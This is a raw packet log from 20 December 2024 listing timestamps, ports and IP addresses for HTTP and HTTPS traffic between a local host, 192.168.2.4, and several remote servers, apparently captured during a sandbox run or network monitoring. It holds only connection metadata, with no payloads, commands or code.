Dec 20, 2024 09:12:31.939157963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.939202070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.939563036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.939604044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.939678907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.939719915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.940210104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.940256119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.940408945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.940452099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.940967083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.941009998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.941021919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.941066027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.941721916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.941766977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.941941977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.941987038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.942567110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.942610979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.942650080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.942693949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.943402052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.943448067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.943497896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.943547964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.944288015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.944330931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.944410086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.944453001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.945105076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.945151091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.945319891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.945363998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.945982933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.946033001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.946075916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.946118116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.946938038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.946985960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.947094917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.947140932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.947694063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.947741032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.947818041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.947860956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.948503017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.948548079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.948627949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.948669910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.949388981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.949476957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.949491978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.949537039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.950198889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.950244904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.950290918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.950335026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.951055050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.951100111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.951180935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.951225042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.951908112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.951950073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.951993942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.952038050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.952735901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.952779055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.952867985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.952912092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.953671932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.953717947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.101124048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.101205111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.101316929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.101316929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.101334095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.101382017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.101481915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.101528883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.102154970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.102206945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.102293968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.102344036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.103060007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.103106976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.103199005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.103245974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.103635073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.103682041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.103749037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.103795052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.104494095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.104537964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.104583025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.104629040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.105384111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.105433941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.105484962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.105534077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.106168032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:32.106215954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:32.151650906 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.151734114 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.153333902 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.153342962 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.154370070 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.155706882 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.156537056 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.156577110 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.156683922 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.156723022 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.156852007 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.156888008 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.157154083 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.157181978 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.157298088 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.157340050 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.157475948 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.157501936 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.157521009 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.157628059 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.157655001 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.199374914 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.199544907 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.199592113 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.199613094 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.243341923 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.247164965 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.247206926 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.247224092 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.287331104 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.288523912 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:32.331367970 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.519009113 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:32.786242962 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:32.786330938 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:32.786391973 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:32.808015108 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:32.808041096 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:33.401638985 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:33.401664972 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:33.401726961 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:33.402045012 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:33.402055979 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:34.370656967 CET	49805	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:34.370917082 CET	49834	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:34.490421057 CET	80	49834	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:34.490475893 CET	80	49805	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:34.490561008 CET	49805	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:34.490761042 CET	49834	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:34.490761995 CET	49834	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:34.510114908 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:34.510405064 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:34.510478973 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:34.523135900 CET	49822	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:34.523154974 CET	443	49822	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:34.571166039 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:34.571232080 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:34.571301937 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:34.571760893 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:34.571779966 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:34.610274076 CET	80	49834	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:34.612024069 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:34.612108946 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:34.615226030 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:34.615236998 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:34.615569115 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:34.616812944 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:34.616966009 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:34.616997957 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:35.396393061 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:35.396469116 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:35.396553040 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:35.396703959 CET	49828	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:35.396717072 CET	443	49828	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:35.796045065 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:35.796154022 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:35.804809093 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:35.804847002 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:35.805218935 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:35.813079119 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:35.813100100 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:35.813242912 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:35.840137005 CET	80	49834	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:35.840907097 CET	49834	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:35.904851913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:35.905153036 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:36.024725914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:36.024743080 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:36.024797916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:36.024852991 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:36.025207043 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:36.144731045 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:36.169341087 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:36.169361115 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:36.169430017 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:36.169677973 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:36.169692039 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:36.556358099 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:36.556467056 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:36.556513071 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:36.557825089 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:36.557842970 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:36.557856083 CET	49835	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:36.557862043 CET	443	49835	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:37.346709013 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.346771955 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.346791029 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.346807957 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.346820116 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.346858978 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.346882105 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.346916914 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.346965075 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.346968889 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.347059011 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.347122908 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.347167969 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.347203016 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.347237110 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.347250938 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.347270966 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.347291946 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.347310066 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.389410019 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:37.389486074 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:37.391354084 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:37.391369104 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:37.392287016 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:37.393641949 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:37.393763065 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:37.393815994 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:37.393902063 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:37.393919945 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:37.466454029 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.466494083 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.466515064 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.466551065 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.470515013 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.470571041 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.470623016 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.470670938 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.538988113 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.539077044 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.539139986 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.542957067 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.543077946 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.543139935 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.551348925 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.551408052 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.554419994 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.554472923 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:37.554485083 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:37.554522991 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:38.327157974 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:38.327403069 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:38.327614069 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:38.383132935 CET	49840	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:38.383147955 CET	443	49840	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:39.075440884 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:39.075535059 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:39.075617075 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:39.076042891 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:39.076076031 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:39.710663080 CET	49834	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:39.710974932 CET	49849	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:39.830455065 CET	80	49849	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:39.830646992 CET	49849	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:39.830701113 CET	80	49834	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:39.830735922 CET	49849	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:39.830791950 CET	49834	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:39.950396061 CET	80	49849	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:40.296581030 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:40.296720982 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:40.298234940 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:40.298248053 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:40.299206018 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:40.300940037 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:40.301238060 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:40.301250935 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:41.056138039 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:41.056267977 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:41.056348085 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:41.056566954 CET	49848	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:41.056602001 CET	443	49848	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:41.175507069 CET	80	49849	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:41.175580025 CET	49849	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:41.176652908 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:41.176924944 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:41.296471119 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:41.296541929 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:41.296544075 CET	80	49836	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:41.296600103 CET	49836	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:41.300192118 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:41.419668913 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:41.784332991 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:41.784379959 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:41.784440994 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:41.784811974 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:41.784827948 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:42.622639894 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622719049 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.622730017 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622764111 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622776031 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.622819901 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622834921 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.622857094 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622874975 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.622901917 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.622911930 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622946024 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.622961044 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.622993946 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.623007059 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.623043060 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.623055935 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.623079062 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.623090982 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.623128891 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.742660046 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.742702961 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.742722988 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.742738962 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.746773958 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.746834040 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.814908028 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.814981937 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.815041065 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.815243006 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.819139004 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.819192886 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.819194078 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.819242001 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.827529907 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.827594995 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.827661037 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:42.828125000 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:42.835928917 CET	80	49855	31.41.244.11	192.168.2.4
